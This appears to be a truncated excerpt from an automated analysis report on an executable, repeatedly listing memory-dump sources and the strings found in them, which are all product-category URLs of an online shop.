Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2764303721.0000000007FC0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2779591114.0000000004630000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2440339008.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462063526.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2432992573.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2433183027.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451649493.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2775837357.00000000075C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.stnic.co.uk/product-category/history/roman/
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2764303721.0000000007FC0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2779591114.0000000004630000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2440339008.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462063526.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2432992573.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2433183027.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451649493.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2775837357.00000000075C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.stnic.co.uk/product-category/history/royal/
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2764303721.0000000007FC0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2779591114.0000000004630000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2440339008.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462063526.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2432992573.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2433183027.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451649493.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2775837357.00000000075C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.stnic.co.uk/product-category/history/tudor/
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2764303721.0000000007FC0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2779591114.0000000004630000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2440339008.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462063526.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2432992573.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2433183027.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451649493.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2775837357.00000000075C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.stnic.co.uk/product-category/history/victorian/
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2764303721.0000000007FC0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2779591114.0000000004630000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2440339008.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462063526.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2432992573.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2433183027.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451649493.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2775837357.00000000075C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.stnic.co.uk/product-category/history/viking/
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2764303721.0000000007FC0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2779591114.0000000004630000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2440339008.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462063526.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2432992573.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2433183027.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451649493.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2775837357.00000000075C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.stnic.co.uk/product-category/in-stock/
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2764303721.0000000007FC0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2779591114.0000000004630000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2440339008.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462063526.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2432992573.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2433183027.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451649493.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2775837357.00000000075C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.stnic.co.uk/product-category/made-to-order/
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2764303721.0000000007FC0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2779591114.0000000004630000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2440339008.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462063526.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2432992573.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2433183027.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451649493.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2775837357.00000000075C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.stnic.co.uk/product-category/places/
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2764303721.0000000007FC0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2779591114.0000000004630000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2440339008.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462063526.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2432992573.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2433183027.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451649493.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2775837357.00000000075C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.stnic.co.uk/product-category/places/austria/
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2764303721.0000000007FC0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2779591114.0000000004630000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2440339008.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462063526.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2432992573.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2433183027.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451649493.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2775837357.00000000075C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.stnic.co.uk/product-category/places/egypt/
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2764303721.0000000007FC0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2779591114.0000000004630000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2440339008.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462063526.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2432992573.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2433183027.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451649493.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2775837357.00000000075C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.stnic.co.uk/product-category/places/england/
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2764303721.0000000007FC0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2779591114.0000000004630000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2440339008.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462063526.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2432992573.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2433183027.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451649493.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2775837357.00000000075C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.stnic.co.uk/product-category/places/france/
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2764303721.0000000007FC0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 